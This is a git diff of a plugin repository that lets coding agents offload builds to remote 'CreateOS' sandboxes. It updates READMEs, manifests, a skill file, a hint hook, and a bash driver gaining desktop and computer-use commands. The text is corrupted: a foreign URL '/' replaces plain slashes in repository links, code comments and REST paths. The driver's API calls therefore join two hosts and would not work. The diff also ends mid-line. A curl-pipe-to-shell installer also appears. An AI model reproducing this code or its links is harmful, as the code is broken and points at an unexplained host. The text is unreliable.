https://github.com/NodeOps-app/createos-claude-plugins -/plugin marketplace add /path/to/createos-claude-plugins +git clone https://github.com/NodeOps-app/createos-plugin +/plugin marketplace add /path/to/createos-plugin /plugin install createos-sandbox@createos ``` **DeepSeek Harness from a local checkout:** ```bash -dsh plugin --profile web add /path/to/createos-claude-plugins/packages/dsh-createos +dsh plugin --profile web add /path/to/createos-plugin/packages/dsh-createos ``` **Dev (instant, no install):** ```bash -claude --plugin-dir /path/to/createos-claude-plugins/packages/claude-code-plugin +claude --plugin-dir /path/to/createos-plugin/packages/claude-code-plugin /reload-plugins # after editing plugin files ``` @@ -267,7 +267,7 @@ claude --plugin-dir /path/to/createos-claude-plugins/packages/claude-code-plugin ## Repository layout ``` -createos-claude-plugins/ # marketplace root +createos-plugin/ # marketplace root ├─ .claude-plugin/ │ └─ marketplace.json # marketplace manifest ├─ packages/ diff --git a/packages/claude-code-plugin/README.md b/packages/claude-code-plugin/README.md index db061d7..a4bb4ee 100644 --- a/packages/claude-code-plugin/README.md +++ b/packages/claude-code-plugin/README.md @@ -89,14 +89,14 @@ A reusable per-repo box + one-way file sync (default; `-2` for two-way). A dev s **From the marketplace (recommended):** ``` -/plugin marketplace add NodeOps-app/createos-claude-plugins +/plugin marketplace add NodeOps-app/createos-plugin /plugin install createos-sandbox@createos ``` **Dev (instant, no install):** ```bash -claude --plugin-dir /path/to/createos-claude-plugins/packages/claude-code-plugin +claude --plugin-dir /path/to/createos-plugin/packages/claude-code-plugin /reload-plugins # after editing plugin files ``` @@ -105,7 +105,7 @@ claude --plugin-dir /path/to/createos-claude-plugins/packages/claude-code-plugin `cos` is **not on `PATH`** by default. To use bare `cos` in your own terminal, run its installer once by absolute path: ```bash -/path/to/createos-claude-plugins/packages/claude-code-plugin/scripts/cos install # symlinks to ~/.local/bin/cos +/path/to/createos-plugin/packages/claude-code-plugin/scripts/cos install # symlinks to ~/.local/bin/cos ``` `${CLAUDE_PLUGIN_ROOT}` only expands inside slash-command frontmatter — it is **not** set in your shell, nor in Claude's Bash tool environment. Slash commands resolve the path for you; for autonomous skill use the `SessionStart` hook publishes it. Running `cos install` once removes the question entirely. diff --git a/packages/claude-code-plugin/scripts/offload-hint.sh b/packages/claude-code-plugin/scripts/offload-hint.sh index a101738..a48adb3 100755 --- a/packages/claude-code-plugin/scripts/offload-hint.sh +++ b/packages/claude-code-plugin/scripts/offload-hint.sh @@ -7,7 +7,10 @@ set -euo pipefail command -v jq >/dev/null 2>&1 || exit 0 input=$(cat) -cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // empty' 2>/dev/null || true) +# Claude Code sends the command as a string; Codex sends an argv array +# ("shell"/"local_shell"/"exec_command"). Flatten both to one string so this +# script works unmodified in either harness. +cmd=$(printf '%s' "$input" | jq -r '(.tool_input.command // empty) | if type=="array" then join(" ") else . end' 2>/dev/null || true) [ -n "$cmd" ] || exit 0 # never nudge for sandbox/control/VCS commands themselves @@ -18,7 +21,7 @@ esac # heavy build/test signatures worth isolating off-machine if printf '%s' "$cmd" | grep -Eq \ '(^|[;&|[:space:]])(make|mvn|gradle|gradlew|bazel|tox|cmake|ctest)([[:space:]]|$)|npm[[:space:]](ci|install|run[[:space:]]build|test)|pnpm[[:space:]](i|install|run|test)|yarn[[:space:]](install|build|test)|pip[[:space:]]install|pytest|go[[:space:]]test|cargo[[:space:]](build|test)'; then - msg='[createos-sandbox] Heavy build/test detected. Consider offloading to a throwaway sandbox to keep the laptop free and isolate deps: /createos-sandbox:offload . "" (or scripts/cos offload). Proceed locally if it needs local state/secrets. Silence: COS_NO_HINT=1.' + msg='[createos-sandbox] Heavy build/test detected. Consider offloading to a throwaway sandbox to keep the laptop free and isolate deps: `cos offload . ""` (in Claude Code: /createos-sandbox:offload). Proceed locally if it needs local state/secrets. Silence: COS_NO_HINT=1.' jq -nc --arg m "$msg" '{hookSpecificOutput:{hookEventName:"PreToolUse",additionalContext:$m}}' fi exit 0 diff --git a/packages/claude-code-plugin/skills/using-createos-sandbox/SKILL.md b/packages/claude-code-plugin/skills/using-createos-sandbox/SKILL.md index 51c20ac..a04fb10 100644 --- a/packages/claude-code-plugin/skills/using-createos-sandbox/SKILL.md +++ b/packages/claude-code-plugin/skills/using-createos-sandbox/SKILL.md @@ -1,6 +1,6 @@ --- name: using-createos-sandbox -description: Use when you need to run code OFF the user's machine — heavy/long builds or test suites, untrusted or unknown code, a parallel test/config matrix across many boxes, an instant clean Linux to try a tool, a live dev-server/watcher Claude edits against, reaching a box-side service from localhost (port tunnel) or sharing it on the public web (HTTPS preview URL), a multi-machine cluster on one private network, a WireGuard VPN into that network, mounting an S3 bucket of data, or work that needs a real screen — a graphical Linux desktop with a browser that you drive by screenshot/click/type and the user can watch over noVNC. Offloads to ephemeral CreateOS Sandboxes via the `cos` helper (stage → exec → pull → auto-destroy), plus fanout, a scratch shell, and an opt-in reusable box with sync, tunnel, expose, desktop/computer-use, cluster, disk, vpn, pause/resume, custom images, and snapshot/fork. +description: Use when you need to run code OFF the user's machine — heavy/long builds or test suites, untrusted or unknown code, a parallel test/config matrix across many boxes, an instant clean Linux to try a tool, a live dev-server/watcher you edit against, reaching a box-side service from localhost (port tunnel) or sharing it on the public web (HTTPS preview URL), a multi-machine cluster on one private network, a WireGuard VPN into that network, mounting an S3 bucket of data, or work that needs a real screen — a graphical Linux desktop with a browser that you drive by screenshot/click/type and the user can watch over noVNC. Offloads to ephemeral CreateOS Sandboxes via the `cos` helper (stage → exec → pull → auto-destroy), plus fanout, a scratch shell, and an opt-in reusable box with sync, tunnel, expose, desktop/computer-use, cluster, disk, vpn, pause/resume, custom images, and snapshot/fork. --- # Using CreateOS Sandbox as remote compute @@ -9,9 +9,9 @@ A CreateOS Sandbox is an isolated Linux box that goes from create to running you ## Running the driver -Everything goes through `cos`. **A SessionStart hook prints its absolute path into your context at the start of the session — use that literal path.** +Everything goes through `cos`. **A session-start hook prints its absolute path into your context at the start of the session — use that literal path.** -Do not write `${CLAUDE_PLUGIN_ROOT}` into a Bash command. That variable is set when slash commands are loaded but is **unset in the Bash tool's environment**, so the path collapses to `/scripts/cos` and dies with exit 127. +In Claude Code specifically, do not write `${CLAUDE_PLUGIN_ROOT}` into a Bash command. That variable is set when slash commands are loaded but is **unset in the Bash tool's environment**, so the path collapses to `/scripts/cos` and dies with exit 127. If you cannot locate or run `cos`, **stop and say so.** Do not fall back to composing the job out of raw `createos sandbox create/push/exec` calls. That path looks equivalent and is not: it silently drops egress restriction, the keepalive that survives a dropped stream on a long build, guaranteed auto-destroy, and the auth preflight — so a "successful" run can leave an unrestricted box billing with no isolation ever applied. A missing driver is a hard stop, not a reason to improvise. @@ -28,7 +28,7 @@ Healthy output names one of three credential sources: `CREATEOS_API_KEY`, a brow **You cannot fix that yourself.** `createos login` is an interactive TTY prompt that opens a browser, and an agent shell has no TTY. Do not try to run it and do not work around it with `--token`. Relay the two options to the user: 1. **Browser (recommended)** — they run `createos login` in their own terminal and pick "Sign in with browser". -2. **API key** — they `export CREATEOS_API_KEY=` (from ) in the shell that launched Claude Code. +2. **API key** — they `export CREATEOS_API_KEY=` (from ) in the shell that launched the agent. **Never ask the user to paste an API key into the conversation** — it lands in the transcript. Export or browser, nothing else. @@ -43,7 +43,7 @@ Every `cos` command except `install` and `auth` runs this check first, so an una | **Parallel/matrix work** — same job across N configs, test shards, batch | `fanout` — each command in its own throwaway box, concurrently, results collected. | | **Quick scratch Linux** — try a CLI/tool/snippet on a clean box | `shell` — instant keyless box, destroyed on exit (interactive; the user runs it). | | **Clean-room repro** — "works on my machine" bugs, dependency conflicts | Fresh rootfs every time, no host state. | -| **Live dev loop** — dev server / test watcher / REPL that reacts to edits | Project box + `sync`; Claude edits locally, the box reacts. | +| **Live dev loop** — dev server / test watcher / REPL that reacts to edits | Project box + `sync`; you edit locally, the box reacts. | | **Reach a box-side service** — dev server, DB, API | `tunnel` (private, to `127.0.0.1`) or `expose` (public HTTPS link to share). | | **Needs a screen** — a real browser, a GUI app, or a desktop to click through | `desktop` — graphical box + noVNC URL; `computer` to drive it (screenshot/click/type). | | **Multi-machine** — distributed system, DB replication, p2p mesh, load test | `cluster up N` — boxes share one private net, reach each other by name. | @@ -106,7 +106,7 @@ Each job gets its own box with no shared network — that is what distinguishes ## Pattern B — reusable project box (opt-in) -For repeated runs against a warm box, or a dev server Claude edits against. One box per git root, tracked in a statefile. +For repeated runs against a warm box, or a dev server you edit against. One box per git root, tracked in a statefile. ```bash cos up -s s-2vcpu-2gb # create/reuse this project's box diff --git a/packages/codex-plugin/.claude-plugin/plugin.json b/packages/codex-plugin/.claude-plugin/plugin.json index 8beca17..e47c3e2 100644 --- a/packages/codex-plugin/.claude-plugin/plugin.json +++ b/packages/codex-plugin/.claude-plugin/plugin.json @@ -1,11 +1,21 @@ { - "name": "@createos/codex", + "name": "createos-sandbox-codex", "displayName": "CreateOS Sandbox", - "version": "0.1.0", - "description": "Run code off your machine in disposable CreateOS Sandboxes via the createos CLI.", - "author": { "name": "NodeOps", "url": "https://createos.sh" }, + "version": "0.2.0", + "description": "Run ad-hoc, heavy, or untrusted code OFF your machine in disposable CreateOS Sandboxes via the `cos` driver — offload, fanout, scratch shell, reusable box with sync, tunnel, expose, clusters, S3 disks, VPN, pause/resume, custom images, and a graphical desktop you drive by screenshot/click/type.", + "author": { + "name": "NodeOps", + "url": "https://createos.sh" + }, "homepage": "https://createos.sh", - "keywords": ["sandbox", "createos", "remote-exec", "isolation"], + "keywords": [ + "sandbox", + "createos", + "remote-exec", + "isolation", + "desktop", + "computer-use" + ], "skills": "./skills/", "interface": { "displayName": "CreateOS Sandbox", diff --git a/packages/codex-plugin/README.md b/packages/codex-plugin/README.md index 59f8768..8aff197 100644 --- a/packages/codex-plugin/README.md +++ b/packages/codex-plugin/README.md @@ -1,82 +1,113 @@ -# @createos/codex +# createos-sandbox-codex -Codex plugin that offloads code to disposable [CreateOS](https://createos.sh) Sandboxes. -Gives Codex a skill that teaches the agent how to use the `createos` CLI -for sandbox lifecycle, networking, persistent disks, VPN, and more. +Codex plugin that runs ad-hoc, heavy, or untrusted code OFF your machine, in +disposable [CreateOS](https://createos.sh) Sandboxes. + +Same engine as the Claude Code plugin: the `cos` bash driver, the +`using-createos-sandbox` skill, and a session-start hook that publishes the +driver's absolute path. `scripts/cos` and `skills/` are copies of +`packages/claude-code-plugin/` kept in sync by `scripts/sync-shared.sh` +(CI fails on drift) — edit the originals there, never these copies. ## Install ```bash # 1. Add the marketplace -codex plugin marketplace add NodeOps-app/createos-claude-plugins +codex plugin marketplace add NodeOps-app/createos-plugin # 2. Install the plugin -codex plugin add @createos/codex@createos +codex plugin add createos-sandbox-codex --marketplace createos ``` ## Prerequisites -1. **createos CLI** — auto-installs on first use, or manually: +1. **createos CLI** — `cos` auto-installs it on first use, or manually: ```bash curl -sfL https://raw.githubusercontent.com/NodeOps-app/createos-cli/main/install.sh | sh ``` -2. **Login** (one-time): +2. **Login** (one-time, in your own terminal — it opens a browser): + ```bash createos login ``` + Or export `CREATEOS_API_KEY`. Never paste an API key into the agent chat. + +3. `jq`, `tar`, `perl`, `curl` — `cos` needs them; the session-start hook is a + no-op without `jq`. + ## How it works -1. Plugin installs a skill that teaches Codex the `createos` CLI commands -2. When you ask to run code in a sandbox, Codex uses `createos sandbox create` + `createos sandbox exec` -3. All commands execute inside remote CreateOS Sandboxes, not on your machine - -## Commands the skill teaches - -| Command | What | -| ------------------------------------------------------------- | -------------------------- | -| `createos sandbox create` | Create a sandbox | -| `createos sandbox exec -- sh -c ''` | Run command inside sandbox | -| `createos sandbox list` | List sandboxes | -| `createos sandbox get ` | Sandbox status/IP/ingress | -| `createos sandbox rm --yes` | Destroy sandbox | -| `createos sandbox pause/resume ` | Park/restore | -| `createos sandbox pull -` | Read file from sandbox | -| `createos sandbox tunnel --remote --local ` | Port forward | -| `createos sandbox network create/attach/show` | Private networks | -| `createos sandbox disk create/attach` | S3 disk mounts | -| `createos sandbox devices register` | Device VPN setup | +1. The session-start hook prints the driver's absolute path into Codex's context + and states the verb rule (`offload` for work with a finish line, `up`/`run` + for work that outlives one command). +2. A `pre-tool-use` hook watches shell calls and suggests offloading when it sees + a heavy build or test. Advisory only — it never blocks. Silence with + `COS_NO_HINT=1`. +3. The `using-createos-sandbox` skill carries the depth: egress restriction, + networking, lifecycle, images. +4. Everything executes through `cos`, which wraps the authed `createos` CLI. + +**Do not hand-roll offloads out of raw `createos sandbox create/push/exec`.** +That path looks equivalent and silently drops egress restriction, the keepalive +that survives a dropped stream on a long build, guaranteed auto-destroy, and the +auth preflight. + +## Verbs + +Run `cos help` for the full list. + +| Verb | What | +| ----------------------------- | ------------------------------------------------------------- | +| `cos offload ''` | one-shot: stage → run (keepalive) → pull → destroy | +| `cos fanout ''...` | each command in its own throwaway box, in parallel | +| `cos shell` | instant throwaway interactive Linux, destroyed on exit | +| `cos up` / `run` / `down` | reusable project box, one per git root | +| `cos sync` | background file sync into the project box | +| `cos pause` / `resume` | park a warm box at zero compute cost, restore it intact | +| `cos fork` | snapshot the project box into an independent clone | +| `cos tunnel` / `expose` | box port → `127.0.0.1`, or a public HTTPS URL | +| `cos cluster` | N boxes on one private network, addressable by name | +| `cos disk` | BYO S3 bucket mounts | +| `cos vpn` | WireGuard into your private networks | +| `cos template` | build a custom rootfs from a Dockerfile | +| `cos desktop` / `computer` | graphical box + noVNC URL; drive it by screenshot/click/type | ## Architecture ``` packages/codex-plugin/ -├── .claude-plugin/ -│ └── plugin.json # Plugin manifest (name, skills ref) -├── skills/ -│ └── using-createos-sandbox/ -│ ├── SKILL.md # Main skill — createos CLI commands -│ └── references/ -│ ├── offload-and-egress.md -│ ├── networking.md -│ └── lifecycle-and-images.md +├── .claude-plugin/plugin.json # marketplace manifest (name, version) +├── manifest.json # Codex manifest — skills + hooks wiring +├── skills/using-createos-sandbox/ +│ ├── SKILL.md # copy — canonical lives in claude-code-plugin +│ └── references/ # copies — offload-and-egress, networking, lifecycle-and-images ├── scripts/ -│ ├── cos # CLI driver (advanced offload patterns) -│ └── session-start.sh # Session hook -├── manifest.json +│ ├── cos # copy — the driver +│ ├── offload-hint.sh # copy — pre-tool-use nudge +│ └── session-start.sh # codex-specific: resolves cos relative to itself └── README.md ``` -## Differences from Pi and OpenCode plugins +`scripts/session-start.sh` is the one file that is deliberately *not* a copy: +Codex sets no `CLAUDE_PLUGIN_ROOT`, so it resolves the driver relative to its own +location. The wire format is identical — Codex parses +`hookSpecificOutput.additionalContext` exactly like Claude Code does. + +Symlinking the shared files instead of copying them does not work: the Codex +plugin installer copies regular files only, so a symlinked repo installs with no +driver and no skill, silently. Verified against codex-cli 0.153.4. + +## Differences from the Pi and OpenCode plugins -| Capability | Pi | OpenCode | Codex | -| ---------------- | ----------------------------- | ------------------------------------ | ------------------------------------------- | -| Tool replacement | Yes — transparent | No — prompt injection | No — skill-based | -| Custom tools | 47 registered tools | 33 registered tools | None — uses bash + createos CLI | -| Integration | `pi.registerTool()` | `tool()` in plugin | Skill teaches CLI commands | -| Install | `pi install npm:@createos/pi` | `opencode plugin @createos/opencode` | `codex plugin add @createos/codex@createos` | +| Capability | Pi | OpenCode | Codex | +| ---------------- | ----------------------------- | ------------------------------------ | ------------------------------------ | +| Integration | `pi.registerTool()` | `tool()` in plugin | skill + hooks over the `cos` driver | +| Custom tools | 34 registered tools | 38 registered tools | none — the agent's own shell | +| Slash commands | no | no | no (Claude Code plugin has 20) | +| Install | `pi install npm:@createos/pi` | `opencode plugin @createos/opencode` | `codex plugin add createos-sandbox-codex --marketplace createos` | ## License diff --git a/packages/codex-plugin/manifest.json b/packages/codex-plugin/manifest.json index 1deaacd..3ee075f 100644 --- a/packages/codex-plugin/manifest.json +++ b/packages/codex-plugin/manifest.json @@ -1,10 +1,20 @@ { - "name": "createos-sandbox", - "version": "0.1.0", - "description": "Run code off your machine in disposable CreateOS Sandboxes — offload, fanout, scratch shell, reusable box with sync, tunnels, clusters, disks, and VPN.", - "keywords": ["createos", "sandbox", "offload", "remote", "compute"], + "name": "createos-sandbox-codex", + "version": "0.2.0", + "description": "Run ad-hoc, heavy, or untrusted code OFF your machine in disposable CreateOS Sandboxes. One-shot offload, parallel fanout, scratch shell, reusable box with sync, tunnel, public HTTPS expose, clusters, S3 disks, VPN, pause/resume, custom images, and a graphical desktop you drive by screenshot/click/type.", + "keywords": [ + "createos", + "sandbox", + "offload", + "remote", + "compute", + "desktop", + "computer-use" + ], "paths": { - "skills": ["skills/using-createos-sandbox"], + "skills": [ + "skills/using-createos-sandbox" + ], "hooks": { "Inline": [ { @@ -15,6 +25,15 @@ "command": "./scripts/session-start.sh" } ] + }, + { + "event_name": "pre-tool-use", + "hooks": [ + { + "type": "command", + "command": "./scripts/offload-hint.sh" + } + ] } ] } diff --git a/packages/codex-plugin/scripts/cos b/packages/codex-plugin/scripts/cos index 5e0b440..6c5b780 100755 --- a/packages/codex-plugin/scripts/cos +++ b/packages/codex-plugin/scripts/cos @@ -512,6 +512,227 @@ cmd_unexpose(){ "$CLI" sandbox edit "$id" --ingress off >/dev/null 2>&1 && echo "cos: ingress disabled for $id" >&2 || die "failed to disable ingress" } +# ══════════════════════════ desktop / computer use ════════════════════════════ +# `createos` has no computer or desktop command, so these two verbs are the only +# place cos talks to the sandbox REST API directly instead of shelling out to the +# CLI. Everything else in this script stays CLI-driven; when the CLI grows a +# `sandbox computer` group, delete api()/api_auth() and shell out like the rest. +# +# Auth mirrors the CLI exactly: an api key goes in X-Api-Key, an OAuth JWT in +# X-Access-Token. fc rejects Bearer on user-facing routes, and it rejects a JWT +# sent under X-Api-Key ("invalid api key") — the two are not interchangeable. +api_base(){ printf '%s' "${CREATEOS_SANDBOX_URL:-https://api.sb.createos.sh}"; } + +api_auth(){ + # Precedence MUST match the CLI's (createos-cli cmd/root/root.go): an OAuth + # session wins, an api key is the fallback. Inverting it authenticates these + # direct calls as a different identity than every CLI-driven verb — and the + # symptom is a 404 on a box cos itself just created, which reads like the box + # is missing rather than like an auth mismatch. + local exp at + if [ -f "$CREATEOS_DIR/.oauth" ]; then + exp=$(jq -r '.expires_at // 0' "$CREATEOS_DIR/.oauth" 2>/dev/null || echo 0) + numeric "$exp" || exp=0 + # cos deliberately does not implement OAuth refresh. The CLI already refreshes + # in its pre-flight and rewrites ~/.createos/.oauth, so poke it and re-read + # rather than carrying a second, subtly different refresh implementation. + if [ "$(date +%s)" -ge "$((exp - 60))" ]; then + "$CLI" -o json sandbox ls >/dev/null 2>&1 || true + fi + at=$(jq -r '.access_token // empty' "$CREATEOS_DIR/.oauth" 2>/dev/null || true) + [ -n "$at" ] && { printf 'X-Access-Token: %s' "$at"; return 0; } + fi + # NOTE: the CLI itself does NOT read CREATEOS_API_KEY (it has no such env var), + # so this branch works for these REST calls but not for any CLI-driven verb. + [ -n "${CREATEOS_API_KEY:-}" ] && { printf 'X-Api-Key: %s' "$CREATEOS_API_KEY"; return 0; } + [ -f "$CREATEOS_DIR/.token" ] && { printf 'X-Api-Key: %s' "$(tr -d '\r\n' <"$CREATEOS_DIR/.token")"; return 0; } + die "not signed in — run 'cos auth'" +} + +# Map the computer API's error codes onto something actionable. Worth doing by +# hand: `desktop_unavailable` is fc's catch-all for every X failure, so the raw +# message alone never tells you whether the desktop is still booting or the +# action itself failed on a live desktop. +api_check(){ local code=$1 out=$2 what=$3 msg + case "$code" in 2??) return 0;; esac + msg=$(printf '%s' "$out" | jq -r '.message // .error // empty' 2>/dev/null || true) + case "$code" in + 000) die "no response from $(api_base) — network down, or CREATEOS_SANDBOX_URL points somewhere wrong";; + 401|403) die "auth rejected (HTTP $code). The API key or browser session is invalid or expired. + Ask the user to re-run 'createos login' in their own terminal, or export CREATEOS_API_KEY.";; + 404) die "not found (HTTP 404): ${msg:-$what} + Either the box is gone, or it has no such screen — computer-use needs a desktop image ('cos desktop').";; + 409) case "$msg" in + *ingress*) die "409: $msg — 'cos desktop' turns ingress on for you";; + *desktop_unavailable*|*) die "desktop did not answer (HTTP 409 ${msg:-desktop_unavailable}). + fc returns this both while the desktop is still booting AND when an action fails on a live desktop. + If the box just came up, 'cos desktop' waits for readiness — run that first.";; + esac;; + 429) die "rate limited (429) — the control plane caps concurrent screenshots. Retry in a second.";; + 501) die "501 desktop_tools_unavailable — this rootfs has no desktop tools installed. Recreate with: cos down && cos desktop";; + *) die "API error HTTP $code on $what${msg:+: $msg}";; + esac +} + +# api [json-body] → prints the response payload, unwrapped from +# fc's JSend envelope. Callers pipe it through jq for the fields they want. +api(){ local method=$1 path=$2 body=${3:-} hdr code out tmp + hdr=$(api_auth) || exit 1 + tmp=$(mktemp) + local args=(-sS -X "$method" -H "$hdr" -o "$tmp" -w '%{http_code}' --max-time 60) + [ -n "$body" ] && args+=(-H 'Content-Type: application/json' -d "$body") + code=$(curl "${args[@]}" "$(api_base)$path" 2>/dev/null) || code=000 + out=$(cat "$tmp"); rm -f "$tmp" + api_check "$code" "$out" "$method $path" + printf '%s' "$out" | jq -c '.data // .' 2>/dev/null || printf '%s' "$out" +} + +# The desktop stack (Xvfb → XFCE → x11vnc → websockify) starts AFTER the box +# reports `running`, so every computer call 404s or 409s for the first while. +# Neither fc nor the SDK polls for this — every caller has to, so cos does it here. +desktop_wait(){ local id=$1 screen=$2 to=${3:-120} hdr code i=0 said=0 + hdr=$(api_auth) || exit 1 + while [ "$i" -lt "$to" ]; do + code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 -H "$hdr" \ + "$(api_base)/v1/sandboxes/$id/computer/screen?screen_id=$screen" 2>/dev/null) || code=000 + case "$code" in + 2??) [ "$said" = 1 ] && echo "cos: desktop ready" >&2; return 0;; + 401|403|501) api_check "$code" '' "desktop readiness";; + esac + [ "$said" = 0 ] && { echo "cos: waiting for the desktop stack to come up (up to ${to}s)…" >&2; said=1; } + sleep 2; i=$((i+2)) + done + die "desktop did not come up within ${to}s on $id ($screen) — check: cos run 'pgrep -a Xvfb; pgrep -a websockify'" +} + +# ───────────────────────────── desktop: graphical box + a live noVNC URL +cmd_desktop(){ + _norm "$@"; set -- ${NORMA[@]+"${NORMA[@]}"} + local shape=s-2vcpu-4gb screen=screen-0; local OPTIND=1 o + while getopts "s:S:h" o; do case $o in + s) shape=$OPTARG;; S) screen=$OPTARG;; + h) echo "cos desktop [-s shape] [-S screen-N] desktop:1 box + ingress + live noVNC URL"; return 0;; + *) die "usage: cos desktop [-s shape] [-S screen-N]";; esac; done + shift $((OPTIND-1)) + + local id; id=$(state_get id) + if [ -z "$id" ] || ! box_live "$id"; then + # desktop:1 is heavier than devbox:1 (X + XFCE + Chrome), hence the bigger default shape. + cmd_up -s "$shape" -r desktop:1 + id=$(state_get id); [ -n "$id" ] || die "box creation did not record an id" + else + box_resume_if_paused "$id" + # Never silently drive a non-desktop box: every computer call would 501 with + # a much less obvious message than saying so here. + local rf; rf=$("$CLI" -o json sandbox get "$id" 2>/dev/null | jq -r '.rootfs // empty') + case "$rf" in + *desktop*) :;; + *) die "project box $id runs '${rf:-unknown}', which has no desktop stack. + One project box per directory, so replace it: cos down && cos desktop";; + esac + fi + wait_running "$id" 30 || die "box $id not running" + + "$CLI" sandbox edit "$id" --ingress on >/dev/null 2>&1 || die "failed to enable ingress on $id" + desktop_wait "$id" "$screen" + + local conn url exp + conn=$(api GET "/v1/sandboxes/$id/computer/screens/$screen/connect") + url=$(printf '%s' "$conn" | jq -r '.url // empty') + exp=$(printf '%s' "$conn" | jq -r '.expires_at // "?"') + [ -n "$url" ] || die "connect returned no URL — ingress is off on $id (fc only mints one when ingress is enabled)" + state_set desktop_screen "$screen" + { + echo "cos: desktop $screen on $id — open in a browser:" + echo "cos: ⚠ anyone with this link can drive the desktop. The token expires $exp, and re-running" + echo "cos: 'cos desktop' mints a fresh one (which invalidates this link for NEW connections)." + } >&2 + echo "$url" +} + +# ───────────────────────────── computer: drive that desktop from the agent side +computer_usage(){ cat <<'EOF' +cos computer drive the desktop in the project box (needs `cos desktop` first) + screenshot [-o file] capture PNG (default: $STATE_DIR/screenshot.png), prints the path + screen screen geometry {width,height} + cursor cursor position {x,y} + move move the pointer + click [ ] click (optionally move there first) + type type a string + key ... press a chord, e.g. cos computer key ctrl l + open open a target in the desktop browser + windows list windows on the screen + raw [json] any other computer endpoint (path relative to .../computer) +Screen defaults to screen-0; override per call with COS_SCREEN=screen-N. +Coordinates are raw X11 pixels of that screen — match them against `cos computer screen`. +EOF +} + +cmd_computer(){ + local op=${1:-}; shift || true + case "$op" in ''|-h|--help|help) computer_usage; return 0;; esac + local id; id=$(state_get id) + [ -n "$id" ] || die "no active box — run 'cos desktop' first" + [ "$(box_status "$id")" = paused ] && die "box $id is paused — 'cos resume' first" + local screen=${COS_SCREEN:-$(state_get desktop_screen)}; screen=${screen:-screen-0} + local base="/v1/sandboxes/$id/computer" q="screen_id=$screen" + + case "$op" in + screenshot) + local out="$STATE_DIR/screenshot.png" hdr code + [ "${1:-}" = "-o" ] && { out=${2:?-o needs a path}; shift 2; } + hdr=$(api_auth) || exit 1 + # Screenshot is the one computer route that returns bytes, not JSON, so it + # bypasses api() entirely — the PNG is passed through from fc verbatim. + code=$(curl -sS -H "$hdr" -o "$out" -w '%{http_code}' --max-time 60 \ + "$(api_base)$base/screenshot?$q" 2>/dev/null) || code=000 + case "$code" in + 2??) :;; + *) local body; body=$(cat "$out" 2>/dev/null || true); rm -f "$out"; api_check "$code" "$body" "screenshot";; + esac + echo "cos: screenshot → $out ($(wc -c <"$out" | tr -d ' ') bytes) — open it with the Read tool" >&2 + echo "$out";; + screen) api GET "$base/screen?$q";; + cursor) api GET "$base/cursor?$q";; + windows) api GET "$base/windows?$q";; + move) + numeric "${1:-}" && numeric "${2:-}" || die "usage: cos computer move " + api POST "$base/mouse/move?$q" "$(jq -nc --argjson x "$1" --argjson y "$2" '{x:$x,y:$y}')" >/dev/null + echo "cos: moved to $1,$2" >&2;; + click) + if [ $# -ge 2 ]; then + numeric "$1" && numeric "$2" || die "usage: cos computer click [ ]" + api POST "$base/mouse/click?$q" "$(jq -nc --argjson x "$1" --argjson y "$2" '{x:$x,y:$y}')" >/dev/null + echo "cos: clicked $1,$2" >&2 + else + api POST "$base/mouse/click?$q" '{}' >/dev/null + echo "cos: clicked at the current cursor position" >&2 + fi;; + type) + [ $# -ge 1 ] || die "usage: cos computer type " + # Unquoted multi-word text arrives as separate argv entries; join before + # sending so `cos computer type hello world` types the space too. + local text="$*" + api POST "$base/keyboard/type?$q" "$(jq -nc --arg t "$text" '{text:$t}')" >/dev/null + echo "cos: typed ${#text} chars" >&2;; + key) + [ $# -ge 1 ] || die "usage: cos computer key ... e.g. cos computer key ctrl l" + api POST "$base/keyboard/press?$q" "$(jq -nc '{keys:$ARGS.positional}' --args "$@")" >/dev/null + echo "cos: pressed $*" >&2;; + open) + [ $# -ge 1 ] || die "usage: cos computer open " + api POST "$base/open?$q" "$(jq -nc --arg t "$1" '{target:$t}')" >/dev/null + echo "cos: opened $1" >&2;; + raw) + # Escape hatch: cos wraps the handful of ops an agent loop actually needs, + # not all ~30 computer routes. Everything else goes through here. + local m=${1:?usage: cos computer raw [json]} p=${2:?path required}; shift 2 + case "$p" in /*) :;; *) p="$base/$p";; esac + api "$m" "$p" "${1:-}";; + *) die "unknown computer op '$op' — run 'cos computer help'";; + esac +} + # ───────────────────────────── cluster: N boxes on one private network (by-name DNS) cluster_ls(){ local net; net=$(state_get cluster_net); [ -n "$net" ] || { echo "cos: no cluster for this project"; return 0; } @@ -937,6 +1158,8 @@ cos — CreateOS sandbox as remote compute. (run `cos install` to put `cos` on cos sync [-2|-M][-x glob] [remote] file sync (default one-way, -2 two-way, -M mirror; big dirs excluded) cos tunnel [local] forward box port → 127.0.0.1 (background) cos expose public HTTPS URL for a box port (unexpose to revoke) + cos desktop [-s shape][-S screen] graphical box (desktop:1) + live noVNC URL for a human to watch/drive + cos computer drive that desktop: screenshot|click|type|key|open|... (cos computer help) cos cluster up [-s|-r|-e|-p|-E] | run [|-a] | ls | down N boxes on one private net cos disk create|ls|attach |detach|rm BYO S3 bucket mounts cos vpn [up|register [name]] WireGuard L3 into your private networks (needs wg-quick) @@ -972,6 +1195,8 @@ case "$sub" in tunnel) cmd_tunnel "$@";; expose) cmd_expose "$@";; unexpose) cmd_unexpose "$@";; + desktop) cmd_desktop "$@";; + computer) cmd_computer "$@";; cluster) cmd_cluster "$@";; disk) cmd_disk "$@";; vpn) cmd_vpn "$@";; diff --git a/packages/codex-plugin/scripts/offload-hint.sh b/packages/codex-plugin/scripts/offload-hint.sh new file mode 100755 index 0000000..a48adb3 --- /dev/null +++ b/packages/codex-plugin/scripts/offload-hint.sh @@ -0,0 +1,27 @@ +#!/usr/bin/env bash +# PreToolUse(Bash) hook — non-blocking nudge to offload heavy builds/tests to a +# disposable CreateOS sandbox. Advisory only: it NEVER blocks the command, it just +# adds a one-line suggestion to context. Silence with COS_NO_HINT=1. +set -euo pipefail +[ -n "${COS_NO_HINT:-}" ] && exit 0 +command -v jq >/dev/null 2>&1 || exit 0 + +input=$(cat) +# Claude Code sends the command as a string; Codex sends an argv array +# ("shell"/"local_shell"/"exec_command"). Flatten both to one string so this +# script works unmodified in either harness. +cmd=$(printf '%s' "$input" | jq -r '(.tool_input.command // empty) | if type=="array" then join(" ") else . end' 2>/dev/null || true) +[ -n "$cmd" ] || exit 0 + +# never nudge for sandbox/control/VCS commands themselves +case "$cmd" in + *cos\ *|*createos\ 